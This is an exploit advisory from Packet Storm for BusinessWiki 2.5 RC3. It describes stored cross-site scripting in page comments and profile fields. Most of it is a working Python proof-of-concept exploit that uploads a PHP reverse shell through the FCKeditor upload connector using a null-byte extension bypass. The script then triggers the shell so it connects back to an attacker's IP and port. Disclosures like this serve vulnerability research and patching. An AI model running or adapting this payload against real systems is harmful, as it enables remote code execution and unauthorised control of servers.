exploit the possibilities

BusinessWiki 2.5 RC3 XSS / File Upload

BusinessWiki 2.5 RC3 XSS / File Upload
Posted Aug 24, 2012
Authored by Shai rod

BusinessWiki version 2.5 RC3 suffers from stored cross site scripting and arbitrary file upload vulnerabilities.

tags | exploit, arbitrary, vulnerability, xss, file upload
SHA-256 | 3725bb68e77ae2e7617725d831f798e0e1658ef7fa444cc6f69d669edf4238cd

BusinessWiki 2.5 RC3 XSS / File Upload

Change Mirror Download
#!/usr/bin/python

'''

# Exploit Title: Stored XSS & Arbitrary File Upload Vulnerabilities in BusinessWiki.
# Date: 23/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://onbusinesswiki.com/
# Software Link: http://sourceforge.net/projects/businesswiki/files/
# Version: 2.5RC3

#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar


About the Application:
======================

BusinessWiki is a Enterprise level Wiki available on GPL Licence. BusinessWiki bases on MediaWiki Core

Vulnerability Description
=========================

1. Stored XSS in Page Comments.

It is possible to inject malicious Javascript code into page comments

Steps to reproduce the issue:

1.1. Select a page.
1.2. At the bottom of the page insert the following Javascript payload into the "Comments" field: <script>alert("XSS")</script>
1.3. Click "Add".
1.4. XSS Should be triggered.

This XSS will execute on all users visiting this page.


2. Stored XSS In User Profile.

Steps to reproduce the issue:

2.1. Click on your uesr name at the top right of the page where it says "Logged in as: username"
2.2. Click on the "Contact Information" - "Edit this" link.
2.3. Vulnerable Fields: "Phones", "IMs", "Others" insert Javascript payload: <script>alert("XSS")</script>
2.4. Click the "Update" button.
2.5. Click the "See the changes" link,
2.6. The XSS Should be triggered.

This XSS will be triggered when users view your malicious profile via the "User directory".


3. Arbitrary File Upload.

BusinessWiki use FCKEditor, It is possible to use the following page to upload malicious files onto the server:

http://192.168.1.10/extensions/FCKeditor/fckeditor/editor/filemanager/connectors/uploadtest.html

Although FCKEditor restricts upload of certain file types it is possible to bypass this restriction.

A Proof of concept exploit code is provided.

'''
import urllib2, sys, random, string, time

print "################################################"
print "# BusinessWiki Arbitrary File Upload RCE POC #"
print "# Coded by: Shai rod #"
print "# @NightRang3r #"
print "# http://exploit.co.il #"
print "# For Educational Purposes Only! #"
print "################################################\r\n"

if len(sys.argv) < 4:
print ('Usage: ' + sys.argv[0] + ' remote_host attacker_ip attacker_port')
print('e.g: ' + sys.argv[0] + ' http://example.com 192.68.1.10 4444')
sys.exit(1)

target = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
shell_sleep = 10

print "\n[*] Generating Random File Name..."

chars = string.ascii_uppercase + string.digits
file_name = ''.join(random.sample(chars ,6))

print "[+] File Name: " + file_name

data = '''

-----------------------------1655174106359
Content-Disposition: form-data; name="NewFile";''' + " filename=" + '"' + file_name + '.txt"' + "\n"
data += "Content-Type: text/plain\r\n"

data += '''
<?php
$addr=$_REQUEST['addr'];
$port=$_REQUEST['port'];
if (!($sock=fsockopen($addr,$port)))
die;
while (!feof($sock)) {
$cmd = fgets($sock);
$pipe = popen($cmd,'r');
while (!feof($pipe))
fwrite ($sock, fgets($pipe));
pclose($pipe);
}
fclose($sock);
?>
-----------------------------1655174106359--

'''

print "[*] Uploading Shell..."
url = (target + '/extensions/FCKeditor/fckeditor/editor/filemanager/connectors/php/upload.php?time=&CurrentFolder=/' + file_name + '.php%00')
headers = {'Content-Type' : 'multipart/form-data; boundary=---------------------------1655174106359'}
req = urllib2.Request (url ,data ,headers)
response = urllib2.urlopen(req)

print "[+] Please setup a netcat listener on port " + port + ", Shell will be triggered in " + str(shell_sleep) + " seconds..."
time.sleep(shell_sleep)

print "[+] Shell Location: " + (target + "/userfiles/" + file_name + ".php&addr=" + ip + "&port=" + port)
opener = urllib2.build_opener()
trigger = opener.open(target + "/userfiles/" + file_name + ".php?addr=" + ip + "&port=" + port)
print "[X] Bye..."

Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close